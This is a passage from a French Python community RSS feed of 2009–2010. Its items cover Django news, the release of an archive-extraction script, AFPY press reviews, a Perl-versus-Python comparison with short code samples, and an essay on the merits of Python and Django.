     Les <a href="http://2010.rmll.info/">prochaines RMLL...</a> J'hésite... En même temps, c'est à Bordeaux, donc pas loin. Faudra voir en fonction des intervenants / ceux qui y seront que je connais, etc.
 </li>
</ul>
<p>À savoir que pour mon plus grand bonheur, pour les Rencontres et pour OggCamp, <a href="http://twitter.com/fabsh/status/7570539827">on</a> a réussi à me <a href="http://rencontres.django-fr.org/#bruno">convaincre</a> de préparer une intervention. Donc, dans la TODO : <em>talk for OggCamp</em> et <em>conférence Django</em>.
</p>
<p>À part ça, je dois encore écrire et publier le troisième et dernier épisode de "Maux de passe" pour <a href="http://polar-geek.org">Polar-Geek</a>. Je sais pas quand j'aurai le temps.
</p>
<p>Qui a dit que les chômeurs étaient inactifs ?
</p>]]></description>
    <link><![CDATA[http://jehaisleprintemps.net/blog/fr/2010/01/21/en-preparation/]]></link>
    <pubDate>2010-01-21 16:55:10</pubDate>
  </item>
  <item>
    <title><![CDATA[[fantomas] Le temps des releases : easy_extract]]></title>
    <description><![CDATA[<p><img src="http://fantomas.willbreak.it/wp-content/uploads/zip.jpg" />Imaginons que j'ai sur un serveur de donnée une grosse quantité d'archives sous différents formats, tel que RAR, ZIP, XTM... </p><p>Si je souhaite extraire toutes ces archives, je devrais aller trouver chaque archives dans son répertoire, taper la bonne commande pour pouvoir les extraire, les réparer au besoin et ainsi de suite... Plutôt fastidieux non ? <img class="smiley" src="http://fantomas.willbreak.it//img/smileys/sad.gif" alt=":(" /></p><p>Sur ce constat m'est venu l'idée de <strong>easy_extract</strong>, un script écrit en Python qui va analyser récursivement les répertoires à la recherche d'archives ou de collections d'archives pour les extraire et les réparer automatiquement si elles sont corrompues.</p><p>Pour cela, il suffit de lancer le script de la manière suivante par exemple :</p><pre>$&gt; easy_extract -r mes_archives/</pre><p>Pratique et le gain de temps est évident, car une fois le script lancé, vous n'avez plus à vérifier que l'extraction s'est bien déroulée pour ensuite passer à la suivante, donc a scotcher devant votre terminal. Victoire une tâche fastidieuse de plus automatisée. <img class="smiley" src="http://fantomas.willbreak.it//img/smileys/mrgreen.gif" alt=":D" /></p><p>Pour l'installation, il est nécessaire d'installer les paquets suivant avant :</p><ul><li>par2</li><li>unrar-free</li><li>7zip-full</li></ul><p>Ensuite l'installation du script se fait grâce à easy_install :</p><pre>$&gt; easy_install easy_extract</pre><p>Bien sûr le code est open-source, donc si vous voulez contribuer, forker ou juste critiquer, le code se trouve à l'adresse suivante : <a title="Source de easy_extract" href="http://github.com/Fantomas42/easy-extract">http://github.com/Fantomas42/easy-extract</a></p><p>Bonne décompression et bon leech.</p>]]></description>
    <link><![CDATA[http://fantomas.willbreak.it/blog/2010/jan/19/le-temps-des-releases-easy-extract/]]></link>
    <pubDate>2010-01-19 09:47:56</pubDate>
    <category>Développement</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Revue de presse python semaine 2]]></title>
    <description><![CDATA[Dolmen, multiprocessing, Plone4]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/boussard/revue-de-presse-python-semaine-2010-2]]></link>
    <pubDate>2010-01-18 01:40:29</pubDate>
    <category>A la une</category>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Revue de presse python semaine 1]]></title>
    <description><![CDATA[2010 sera t'elle pythonique ?, Zodb or not zodb, BlueBream, Python + Cython : plus rapide que le c ?]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/boussard/revue-de-presse-python-semaine-2010-1]]></link>
    <pubDate>2010-01-14 05:24:35</pubDate>
    <category>A la une</category>
    <category>AFPY News</category>
    <category>A la une</category>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[encolpe] 2010 : liens de la semaine 1]]></title>
    <description><![CDATA[Cette semaine a été très productive du côté des blogueurs et en particuliers chez les développement autour du core Python.
Python
Pour ceux qui ne connaissent cette boîte de Pandore qu&#8217;est le GIL (Global Interpretor Lock) en Python voici un très bon article qui mesure son effet dans le traitement des entrées/sorties avec des systèmes multi-processeurs ou [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&blog=1743175&post=311&subd=encolpe&ref=&feed=1" />]]></description>
    <link><![CDATA[http://encolpe.wordpress.com/2010/01/10/2010-liens-de-la-semaine-1/]]></link>
    <pubDate>2010-01-10 13:51:36</pubDate>
    <category>Blogroll</category>
    <category>Design</category>
    <category>Opensource</category>
    <category>Plone 3.2</category>
    <category>Plone 3.3</category>
    <category>Python</category>
    <category>buildout</category>
    <category>en</category>
    <category>fr</category>
    <category>planet</category>
    <category>planet-fr</category>
    <category>Distutils</category>
    <category>Dive into Python</category>
    <category>Dive into Python 3</category>
    <category>Docstrings</category>
    <category>GIL</category>
    <category>jQuery</category>
    <category>LinguaPlone</category>
    <category>Mercurial</category>
    <category>Plone</category>
    <category>Python core</category>
    <category>setuptools</category>
    <category>Unladen Swallow</category>
  </item>
  <item>
    <title><![CDATA[[No] Polar Geek, version moderne]]></title>
    <description><![CDATA[<p>Le tout nouveau tout frais <a href="http://polar-geek.org/">"Polar Geek"</a> est en ligne depuis ce soir. J'ai eu la chance de le développer from scratch, en utilisant <a href="http://djangoproject.com">Django</a>, en à peu près 6 heures de labeur, étalées sur une journée (2 heures le matin, 4 le soir).
</p>
<p>J'y intègrerai progressivement des liens vers les textes qui me parviendront, soit par email, soit via le <a href="http://twitter.com/polardeuxzero/">compte @polardeuxzero</a> (cf. la page <a href="http://polar-geek.org/a-propos/">"à propos"</a>).
</p>
<p>Comble du bonheur geek, on y trouvera un flux RSS.
</p>
<p>Au pire, si tu veux contribuer mais que tu n'as pas de blog ou d'espace d'expression électronique, tu peux également m'adresser le texte par e-mail et je tâcherai de lui trouver une place dans mon maaaaaagnifique gestionnaire de contenu révolutionnaire (cough).
</p>
<p><small>d'ailleurs, à propos de magnificence, si un designer passe par ici et a envie de bénévoler au secours de mes maigres talents graphiques, qu'il n'hésite pas à se faire connaître. mais je serai pas vexé si tu veux pas bosser gratuit.</small>
</p>
<p>Et allez ! contribuez ! contribuez ! contribuez !
</p>]]></description>
    <link><![CDATA[http://jehaisleprintemps.net/blog/fr/2010/01/10/polar-geek-version-moderne/]]></link>
    <pubDate>2010-01-09 23:40:08</pubDate>
  </item>
  <item>
    <title><![CDATA[[j-mad] Où les middleware envahissent la django-application du mois]]></title>
    <description><![CDATA[Je sais, je suis impardonnable, je n&#8217;ai pas fait de billet sur la django-application de décembre. Vous pourriez même rajouter que je le suis encore plus parce que décembre c&#8217;est le mois des vacances de Noël et que qui dit vacances dit temps pour écrire un billet.
Oui, mais non. Parce que faut pas croire, ça [...]]]></description>
    <link><![CDATA[http://j-mad.com/blog/2010/01/09/ou-les-middleware-envahissent-la-django-application-du-mois/]]></link>
    <pubDate>2010-01-09 16:34:58</pubDate>
    <category>La Django-App du mois</category>
    <category>Django</category>
    <category>Python</category>
  </item>
  <item>
    <title><![CDATA[[j-mad] Les nouveautés de django 1.2 alpha]]></title>
    <description><![CDATA[Avant de commencer à te faire perdre ton temps, je tiens à te prévenir cher lecteur. Si tu as lu la release note de django 1.2 alpha 1, tu n&#8217;apprendras rien de plus en lisant ce petit billet.
Pourquoi alors l&#8217;écrire ?
Au cas où tu n&#8217;aurais pas encore lu la release note et que lire du [...]]]></description>
    <link><![CDATA[http://j-mad.com/blog/2010/01/09/les-nouveautes-de-django-1-2-alpha/]]></link>
    <pubDate>2010-01-09 14:23:51</pubDate>
    <category>Django</category>
    <category>Python</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Présentation de Vitefait au CETRIL]]></title>
    <description><![CDATA[Vitefait sera présenté au CETRIL le 21 janvier 2009]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/jackadam/vitefait_Cetril]]></link>
    <pubDate>2010-01-08 03:05:20</pubDate>
  </item>
  <item>
    <title><![CDATA[[carlchenet] Bonne année !]]></title>
    <description><![CDATA[C&#8217;est le moment traditionnel d&#8217;annoncer ses bonnes résolutions pour l&#8217;année à venir. Pour ne pas déroger à la tradition, voici ce à quoi je vais essayer de me tenir :

Continuer à développer mes activités dans Debian. Je gère 11 paquets à ce jour, majoritairement des petits projets prometteurs écrits en Python et souhaite intégrer encore [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlchenet.wordpress.com&blog=7722010&post=195&subd=carlchenet&ref=&feed=1" />]]></description>
    <link><![CDATA[http://carlchenet.wordpress.com/2010/01/04/bonne-annee/]]></link>
    <pubDate>2010-01-04 18:38:02</pubDate>
    <category>debian-fr</category>
    <category>planet-libre</category>
    <category>python</category>
  </item>
  <item>
    <title><![CDATA[[carlchenet] Bélier dans GNU/Linux magazine France]]></title>
    <description><![CDATA[Bonjour à tous,
Un article détaillant le fonctionnement de Bélier, l&#8217;outil d&#8217;automatisation de connexions SSH complexes, est paru dans le numéro 123 (janvier 2010) de GNU/Linux Magazine France (GLMF pour les initiés).  Un bon moyen de découvrir les possibilités offertes par ce programme autrement que par la documentation officielle.
À bientôt
       [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlchenet.wordpress.com&blog=7722010&post=188&subd=carlchenet&ref=&feed=1" />]]></description>
    <link><![CDATA[http://carlchenet.wordpress.com/2010/01/03/belier-dans-gnulinux-magazine-france/]]></link>
    <pubDate>2010-01-03 11:56:44</pubDate>
    <category>debian-fr</category>
    <category>planet-libre</category>
    <category>python</category>
  </item>
  <item>
    <title><![CDATA[[encolpe] Week 53 web logs]]></title>
    <description><![CDATA[Python
Tarek Ziadé a écrit le plus utile des tutoriels : How to version your Python projects. Il décrit en quelques pages les bonnes pratiques pratiquées dans la communauté pour géré la numéroration des distributions et comment mettre en place rapidement  le versionnage depuis un environnement de développement mercurial. Ce dernier point jette un pavé de [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&blog=1743175&post=290&subd=encolpe&ref=&feed=1" />]]></description>
    <link><![CDATA[http://encolpe.wordpress.com/2010/01/02/week-53-web-logs/]]></link>
    <pubDate>2010-01-02 12:34:58</pubDate>
    <category>Blogroll</category>
    <category>Python</category>
    <category>fr</category>
    <category>planet</category>
    <category>planet-fr</category>
    <category>distribute</category>
    <category>Generic functions</category>
    <category>Plone</category>
    <category>Zope</category>
    <category>Zope3</category>
  </item>
  <item>
    <title><![CDATA[[encolpe] Tester les développements XML en Python]]></title>
    <description><![CDATA[Présentation du problème
Ces derniers temps je travail beaucoup sur la génération de fichiers XML à partir de données éparses suivants des contraintes externes qui sont impossibles à vérifier manuellement. Pour ce travail je ne peux m&#8217;accrocher qu&#8217;au schema XML que nous a transmis le fournisseur du service avec une documentation lacunaire. Chaque fichier généré fait [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&blog=1743175&post=279&subd=encolpe&ref=&feed=1" />]]></description>
    <link><![CDATA[http://encolpe.wordpress.com/2009/12/31/tester-les-developpements-xml-en-python/]]></link>
    <pubDate>2009-12-31 01:08:45</pubDate>
    <category>Blogroll</category>
    <category>Python</category>
    <category>fr</category>
    <category>planet</category>
    <category>planet-fr</category>
    <category>doctest</category>
    <category>elementtree</category>
    <category>lxml</category>
    <category>unittest</category>
    <category>XML</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Revue de presse python semaine 51]]></title>
    <description><![CDATA[Django, matplotlib, Rpython, extensions C]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/boussard/revue-de-presse-python-semaine-51]]></link>
    <pubDate>2009-12-23 01:58:14</pubDate>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Au revoir Dr Jnut]]></title>
    <description><![CDATA[]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/tarek/au-revoir-dr-jnut]]></link>
    <pubDate>2009-12-22 04:35:04</pubDate>
    <category>A la une</category>
  </item>
  <item>
    <title><![CDATA[[j-mad] Django : Dict’s Rivers, toi aussi devient fan.]]></title>
    <description><![CDATA[C&#8217;est benoitc qui en me parlant des dicts fournis par Django m&#8217;a fait découvrir les quelques classes bien utiles définis dans datastructures.py du module utils de django.
Ce sont donc, comme le titre de ce petit billet (plus mémo que billet) l&#8217;explicite bien des dicts.
1- Le MergeDict
On le construit en lui donnant plusieurs dict. Il en [...]]]></description>
    <link><![CDATA[http://j-mad.com/blog/2009/12/20/django-dicts-rivers-toi-aussi-devient-fan/]]></link>
    <pubDate>2009-12-20 22:57:46</pubDate>
    <category>Django</category>
    <category>Python</category>
  </item>
  <item>
    <title><![CDATA[[nsteinmetz] Perl vs Shell vs Python]]></title>
    <description><![CDATA[<p>Ayant suivi il y a 2 semaines une <a href="http://www.orsys.fr/formation-perl.asp?sdid=3" hreflang="fr">formation Perl</a> de 3 jours vu qu'il s'agit d'un standard de fait chez JCDecaux pour tout ce qui touche au scripting, mon <em>petit ressenti</em> sur le sujet.</p>


<p>Tout d'abord, il faut dire que j'allais à cette formation avec un a priori plutôt négatif sur Perl de part ce que j'avais pu en entendre ici ou là. Il faut dire que j'ai plutôt été agréablement surpris par certains cotés.</p>


<p>Match perl vs bash :</p>
<ul>
<li>Perl peut être vue comme une bonne alternative / un bon complément à des scripts bash. Plutôt que de vous casser la tête à apprendre à utiliser grep/sed/awk, vous pouvez faire la même chose mais uniquement en perl. Parce que bon, franchement awk, c'est peut être super puissant mais je trouve ça inabordable et loin d'être évident.</li>
<li>Je compte ainsi revoir certains scripts bash qui ne me satisfont pas pour voir si Perl ne me permettrait pas d'atteindre l'objectif souhaité.</li>
</ul>

<p>Match perl vs python : avantage Python</p>
<ul>
<li>Pour le coup, le langage avec des des <code>$</code>, <code>%</code>, et même <code></code>@ devant les types de données, des accolades pour les débuts/fin de bloc qu'on ne sait jamais à quel niveau positionner pour rester lisible de bout en bout et des <code>;</code> en fin de ligne, j'ai du mal. Surtout maintenant que je me suis habitué à la syntaxe python que je trouve infiniment plus lisible et moins source d'erreur.</li>
<li>Dans la même veine, les syntaxes sont pas des plus évidentes : ainsi dire que <code>$tab</code> est un scalaire, <code>@tab</code> un tableau, <code>%tab</code> un tableau associatif et que si on met un &quot;antislash&quot; devant on parle alors d'une référence vers le scalaire/tableau/tableau associatif, ça aide pas l'écriture d'un script</li>
</ul>

<p>Par ex en perl :</p>
<pre class="perl"><span>if</span> <span>&#40;</span> <span>$toto</span> == <span>2</span><span>&#41;</span>
<span>&#123;</span>
    <a href="http://www.perldoc.com/perl5.6/pod/func/print.html"><span>print</span></a> <span>&quot;Toto vaut : $toto<span>\n</span>&quot;</span>;
<span>&#125;</span></pre>


<p>et en python :</p>

<pre class="python"><span>if</span> toto == <span>2</span>:
    <span>print</span> <span>&quot;Toto vaut %s&quot;</span> % toto</pre>

<ul>
<li>Perl fonctionne de façon beaucoup trop implicite/facultative contrairement à python. Python impose un certain nombre de conventions et c'est bien. Le &quot;There is more than one way to do it&quot; de Perl peut être séduisant mais aussi contre productif, surtout en entreprise.</li>
</ul>

<p>Exemple pour parcourir un tableau en perl :</p>

<pre class="perl"><span>#! /usr/bin/perl -w</span>
&nbsp;
<span># Tableau simple</span>
<span>@tab</span> = <span>&#40;</span><span>&quot;fraise&quot;</span>, <span>&quot;abricot&quot;</span>, <span>&quot;goyave&quot;</span>, <span>&quot;pamplemousse&quot;</span><span>&#41;</span>;
<span>foreach</span> <span>&#40;</span><span>@tab</span><span>&#41;</span>
<span>&#123;</span>
    <a href="http://www.perldoc.com/perl5.6/pod/func/print.html"><span>print</span></a> <span>&quot;Valeur : $_ <span>\n</span>&quot;</span>;
<span>&#125;</span>
&nbsp;
<span># Tableau associatif</span>
<span>%hash</span> = <span>&#40;</span><span>&quot;France&quot;</span> =&gt; <span>&quot;Paris&quot;</span>, <span>&quot;Allemagne&quot;</span> =&gt; <span>&quot;Berlin&quot;</span>, <span>&quot;Angleterre&quot;</span> =&gt; <span>&quot;Londres&quot;</span><span>&#41;</span>;
<span>foreach</span> <span>&#40;</span><a href="http://www.perldoc.com/perl5.6/pod/func/keys.html"><span>keys</span></a> <span>%hash</span><span>&#41;</span>
<span>&#123;</span>
    <a href="http://www.perldoc.com/perl5.6/pod/func/print.html"><span>print</span></a> <span>&quot;Pays : $_ , Capitale: $hash{$_}<span>\n</span>&quot;</span>;
<span>&#125;</span></pre>


<p>Le <code>$_</code> est appelé scalaire par défaut. Il est conseillé de vivement l'utilisé plutôt que d'initialiser une variable. De prime abord, ça surprend. Il existe aussi un <code>@_</code> dans les fonctions et qui correspond à un tableau d'arguments passés à la fonction.</p>


<p>Dans ce cas les parenthèses sont implicites. On peut bien sur écrire :</p>

<pre class="perl"><span>foreach</span><span>&#40;</span><a href="http://www.perldoc.com/perl5.6/pod/func/keys.html"><span>keys</span></a><span>&#40;</span><span>%hash</span><span>&#41;</span><span>&#41;</span></pre>


<p>alors qu'en python :</p>

<pre class="python">tab = <span>&#91;</span><span>&quot;fraise&quot;</span>, <span>&quot;abricot&quot;</span>, <span>&quot;goyave&quot;</span>, <span>&quot;pamplemousse&quot;</span><span>&#93;</span>
<span>for</span> fruit <span>in</span> tab:
    <span>print</span> <span>&quot;Valeur : %s&quot;</span> % fruit
&nbsp;
<span>hash</span> = <span>&#123;</span><span>'France'</span> : <span>'Paris'</span>, <span>'Allemagne'</span>: <span>'Berlin'</span>,  <span>'Angleterre'</span> : <span>'Londres'</span><span>&#125;</span>;
<span>for</span> key, value <span>in</span> <span>hash</span>.<span>items</span><span>&#40;</span><span>&#41;</span>:
    <span>print</span> <span>&quot;Clé : %s Valeur %s&quot;</span> % <span>&#40;</span>key, value<span>&#41;</span></pre>


<p>Dans les deux cas, nous aurons :</p>

<pre>
Valeur : fraise
Valeur : abricot
Valeur : goyave
Valeur : pamplemousse
Pays : France , Capitale: Paris
Pays : Angleterre , Capitale: Londres
Pays : Allemagne , Capitale: Berlin

</pre>


<p>Si on rajoutait un tri en perl, en implicite cela peut aller jusqu'à :</p>

<pre class="perl"><span>foreach</span> <span>&#40;</span><a href="http://www.perldoc.com/perl5.6/pod/func/sort.html"><span>sort</span></a> <a href="http://www.perldoc.com/perl5.6/pod/func/keys.html"><span>keys</span></a> <span>%tab</span><span>&#41;</span>
<span>&#123;</span>
<span>&#125;</span></pre>


<p>Difficile de s'y retrouver à mon humble avis.</p>

<ul>
<li>Perl n'a pas de &quot;prompt&quot; intégré : Franchement pouvoir taper &quot;python&quot; dans un shell et ensuite codé en direct son script et le retoucher, que de temps gagné. Il y a certes <code>perl -pe &quot;commandes perl&quot;</code> mais c'est bien en deçà de ce que peut offrir python.</li>
<li>Mettre <code>/usr/bin/perl -w</code> en début de script permet de lever les warnings et corriger les éventuels bugs</li>
<li>Python propose le module &quot;re&quot; pour les expressions régulières. Pas besoin donc de se mettre spécifiquement à Perl s'il y a des besoins de RegExp <img src="http://nicolas.steinmetz.fr/journal/themes/default/smilies/wink.png" alt=";-)" class="smiley" /></li>
<li>J'ai l'impression que la doc python est de meilleure qualité même si apparemment Perl rattrape petit à petit son chemin...</li>
<li>Globalement, Python et Perl doivent permettre de faire les mêmes choses, donc je vais considérer le périmètre des langages comme ex-aequo.</li>
<li>Même si cela m'a troublé de prime abord avec les listes en python, les listes en perl sont sympathiques :</li>
</ul>
<pre class="perl"><span>@tab</span> = <span>&#40;</span><span>&quot;un&quot;</span>, <span>&quot;deux&quot;</span>, <span>&quot;trois&quot;</span><span>&#41;</span>;
<span>&#40;</span><span>$t1</span>, <span>$t2</span>, <span>$t3</span><span>&#41;</span> = <span>@tab</span>;
 <a href="http://www.perldoc.com/perl5.6/pod/func/print.html"><span>print</span></a> <span>&quot;t1 vaut $t1<span>\n</span>&quot;</span>;
 <a href="http://www.perldoc.com/perl5.6/pod/func/print.html"><span>print</span></a> <span>&quot;t2 vaut $t2<span>\n</span>&quot;</span>;
 <a href="http://www.perldoc.com/perl5.6/pod/func/print.html"><span>print</span></a> <span>&quot;t3 vaut $t3<span>\n</span>&quot;</span>;</pre>


<p>Contrairement à ce que l'on pourrait croire de prime abord, cela n'est pas un tableau mais juste un &quot;panier&quot; de variables. On peut donc utiliser <code>$t1</code> &amp; co.</p>

<ul>
<li>La notation objet est plus claire en Python. Je n'adhère toujours pas au <code>$titi-&gt;dosomething();</code> (comme en PHP en fait)</li>
<li>La prise en main de python est beaucoup plus immédiate (aux listes / tuples (grosso modo des listes non modifiables) / dictionnaires (tableaux associatifs) prêt <img src="http://nicolas.steinmetz.fr/journal/themes/default/smilies/wink.png" alt=";-)" class="smiley" /> )
<ul>
<li>D'ailleurs, les listes en python correspondent aux tableaux en perl et les dictionnaires python au hash (tableau associatif) perl.</li>
<li>Sauf erreur, il n'y a pas d'équivalent des tuples en perl</li>
<li>Les listes en perl n'ont donc rien à avoir avec les listes en python (cela m'a pas mal dérangé durant la formation)</li>
</ul></li>
</ul>

<p>Ce qui fait qu'au final, je rejoins tout à fait David sur &quot;<a href="http://www.biologeek.com/conferences,django,python/pourquoi-python-et-django/" hreflang="fr">Pourquoi Python &amp; Django</a>&quot;. A titre personnel, mon langage de prédilection va donc rester python et je vais voir dans quelle mesure je peux encourager python au boulot. J'y ai déjà glissé une appli Django après tout <img src="http://nicolas.steinmetz.fr/journal/themes/default/smilies/wink.png" alt=";-)" class="smiley" /></p>


<p>Perl a malgré tout été une bonne surprise, je m'attendais à pire. Il convient par contre dans un contexte d'entreprise je pense de rendre le code le plus verbeux possible pour facilité sa reprise et sa maintenance.</p>]]></description>
    <link><![CDATA[http://nicolas.steinmetz.fr/journal/post/2009/12/16/Perl-vs-Shell-vs-Python]]></link>
    <pubDate>2009-12-16 22:00:00</pubDate>
    <category>Trucs de geek</category>
    <category>bash</category>
    <category>perl</category>
    <category>python</category>
    <category>shell</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Revue de presse python semaine 50]]></title>
    <description><![CDATA[pywebsocket, collective.beaker, Traduction de la zca, Nouvelle release de pyquery, Nouvelle release de djangocms]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/boussard/revue-de-presse-python-semaine-50]]></link>
    <pubDate>2009-12-16 07:16:49</pubDate>
    <category>A la une</category>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Revue de presse python semaine 49]]></title>
    <description><![CDATA[Gmail , Python2.7, PySpread]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/boussard/revue-de-presse-python-semaine-49]]></link>
    <pubDate>2009-12-16 07:16:19</pubDate>
    <category>A la une</category>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Revue de presse python semaine 48]]></title>
    <description><![CDATA[Plone, minitage, Python3, GAE]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/boussard/revue-de-presse-python-semaine-48]]></link>
    <pubDate>2009-12-16 07:15:44</pubDate>
    <category>A la une</category>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Revue de presse python semaine 47]]></title>
    <description><![CDATA[GAE, Pypy, json, pickle]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/boussard/revue-de-presse-python-semaine-47]]></link>
    <pubDate>2009-12-16 07:15:10</pubDate>
    <category>A la une</category>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[tshirtman] Nouvelle migration]]></title>
    <description><![CDATA[<p><span>Pour un bon moment celle ci j’espère. </span></p><p><span>Après l’achat (sur un coup de tête) de tshirtman.fr, je me suis dit que j’allais faire blog.tshirtman.fr et sérieusement ce coup ci… on (mon chef au boulot, plus connus sous le pseudo ccomb) m’avait conseillé zine qui à l’avantage d’être en python et de bonne facture, j’ai un peu galéré avant de trouver la bonne méthode d’installation (un buildout sur pypi bien sur &gt;_&lt;) mais en tout cas c’est propre et sympa… </span></p><p><span>Comme j’utilise apache pour les virtualhost, zine tourne en user normal via paster, sur un port quelconque, et apache lui renvoit les requetes via mod_proxy, c’est simple et efficace. </span></p><p><span>Je viens de finir d’importer les billets du pybloxom, j’aurais bien aimé retrouver les billets de mon vieux vieux blog, mais il semble que google n’ai pas daigné en garder du cache, que archive.org n’ai pas en la présence d’esprit de remarquer la contribution importante qu’ils représentaient… que je n’ai pas d’accès immédiat à mon serveur de l’époque (présentément eteinds), et que donc, je soit incapable, et sans doute pour un certain moment, de les récupérer. </span></p><p><span>Life’s life ^^. </span></p><p><span>sinon en ce moment je lis “the pragmatic programmer” qui contient une foule nombreuse de sages conseils sur le développement, reste à avoir l’intélligence de les mettre en application… </span></p>]]></description>
    <link><![CDATA[http://blog.tshirtman.fr/2009/12/12/nouvelle-migration]]></link>
    <pubDate>2009-12-12 02:03:00</pubDate>
  </item>
  <item>
    <title><![CDATA[[Biologeek] ★ Pourquoi Python et Django]]></title>
    <description><![CDATA[<p>Retour sur l'<a href="http://www.biologeek.com/conferences,django,python/scrum-python-et-django-montpellier/">événement Scrumpy</a> auquel j'ai participé le mois dernier. J'ai déjà eu l'occasion de m'exprimer ici sur <a href="http://www.biologeek.com/python/pourquoi-programmer-en-python/">Pourquoi Python</a> et <a href="http://www.biologeek.com/conferences,django,python/conferences-django-pour-pycon-fr/">Pourquoi Django</a> mais le contexte était assez différent sur cet intervention car je devais commencer à convaincre des bienfaits de Python. Or convaincre sur un langage ou un framework est relativement stupide. </p>

<p>On utilise un outil pour son usage, on peut faire des trucs super chiants aussi avec Python ou Django. Partant de là, comment parler des usages possibles, facilités par ces outils ? Ou reformulé un peu différemment, <strong>qu'est-ce qui me motive pour utiliser ces outils dans mon quotidien ?</strong></p>

<p><em>Une lecture dont vous êtes le héros : soit vous voulez <a href="http://vimeo.com/7702575">visionner l'intervention dans son intégralité</a> (25 minutes) et je vous conseille de ne pas lire la suite avant (mais de sauter à la fin), soit vous continuez la lecture et vous pourrez vous rattrapper plus tard.</em></p>

<p>J'ai choisi d'explorer 2 axes un peu inhabituels : <strong>les vacances et le fun !</strong></p>

<h2>Vacances et productivité</h2>

<p>
    <img src="http://media.biologeek.com/images/scrumpy/vacances_productivite.jpeg" alt="Vacances et productivité" />
</p>

<p>Si on veut pouvoir partir en vacances confortablement, il va en fait falloir être plus productif, et ça la productivité ça parle à tout le monde et ça fait pro :-).</p>

<h3>Apprentissage</h3>

<p>
    <img src="http://media.biologeek.com/images/scrumpy/apprentissage.jpeg" alt="Apprentissage" />
</p>

<p>L'apprentissage de Python est l'un des plus rapides qui soit, on peut l'enseigner aux enfants, aux élèves, aux développeurs, il suffit de quelques heures pour en maîtriser les bases. Avec quelques bases, on peut hacker son premier programme en quelques minutes. Vraiment.</p>

<p>Rapidité d'apprentissage signifie aussi facilité à intégrer de nouvelles personnes dans une équipe ou à transférer des compétences sur un projet (ce qui est plutôt utile pour partir en vacances tranquille).</p>

<h3>Agilité</h3>

<p>
    <img src="http://media.biologeek.com/images/scrumpy/agilite.jpeg" alt="Agilité" />
</p>

<p>Agilité : vaste programme car on en arrive à mettre tout et n'importe quoi derrière ce terme. En quoi Python vous fait gagner en agilité ? Il y a bien sûr l'usage des tests dont je parle ensuite qui rendent les refactorisations moins douloureuses, évitant les régressions inévitables autrement. Mais c'est surtout à l'usage que l'on se rend compte à quel point le langage est flexible et puissant.</p>

<h3>Réutilisation</h3>

<p>
    <img src="http://media.biologeek.com/images/scrumpy/reutilisation.jpeg" alt="Réutilisation" />
</p>

<p>La philosophie de Python et d'être <em>batteries included</em>, c'est à dire de proposer une bibliothèque standard complète permettant d'effectuer les tâches courantes avec le langage de base sans avoir à installer des bibliothèques tierces. Ceci favorise le code portable et réutilisable entre plusieurs projets. </p>

<h2>Fun et qualité</h2>

<p>
    <img src="http://media.biologeek.com/images/scrumpy/fun_qualite.jpeg" alt="Fun et qualité" />
</p>

<p>La relation entre le fun et la qualité ? Une équipe qui prend du plaisir à développer va introduire de la qualité dans son produit.</p>

<h3>Conventions</h3>

<p>
    <img src="http://media.biologeek.com/images/scrumpy/conventions.jpeg" alt="Conventions" />
</p>

<p>Python repose sur des conventions de codage fortes qui favorisent la compréhension du code par un autre développeur. Ça paraît anodin énnoncé ainsi mais c'est pourtant capital pour la réutilisation et la maintenabilité du code. Lorsque vous prennez un code en main, bibliothèque externe ou code de votre collègue, vous n'allez pas être perdu grâce à une normalisation familière. C'est un gain de temps considérable à l'usage.</p>

<h3>Tests</h3>

<p>
    <img src="http://media.biologeek.com/images/scrumpy/tests.jpeg" alt="Tests" />
</p>

<p>Python encourage l'usage des tests qui sont indispensables à la pérennité d'un code. Je ne vais pas me répéter sur ce point, c'est <em>juste</em> la représentation du capital de votre application, ce qui fait finalement sa valeur à long terme.</p>

<h3>Élégance</h3>

<p>
    <img src="http://media.biologeek.com/images/scrumpy/elegance.jpeg" alt="Élégance" />
</p>

<p>Ici aussi, je vous renvoie sur le billet l'<a href="http://www.biologeek.com/informatique,life-hacks,quotidien/artiste-qui-sommeille-en-chaque-geek/">Artiste qui sommeille en chaque geek</a>, la part d'élégance que vous pouvez trouver dans votre code dépend de vous, de votre sensibilité et de la vision que vous avez de vos créations.</p>

<p><strong>En conclusion, grâce à une productivité accrue et à la qualité de son code, on gagne en séreinité et en confiance.</strong></p>

<h2>Django</h2>

<p>Je ne vais pas réexpliquer <a href="http://www.biologeek.com/web-frameworks/choisir-un-framework-web/">la boîte à outils qu'est un framework web</a>, vous pouvez aussi consulter une ancienne <a href="http://www.biologeek.com/conferences,django,python/conferences-django-pour-pycon-fr/">présentation sur Django si vous souhaitez aller plus loin</a>.</p>

<h3>Applications réutilisables</h3>

<p>
    <img src="http://media.biologeek.com/images/scrumpy/applications_reutilisables.jpeg" alt="Réutilisation" />
</p>

<p>C'est aujourd'hui LE point fort de Django : un écosystème d'applications développées par la communauté de très bonne facture. Vous cherchez une application pour faire de l'OpenID, gérer des droits finement, pousser vos média sur S3, etc etc c'est possible et facilement intégrable à votre projet.</p>

<h3>Cohérence</h3>

<p>
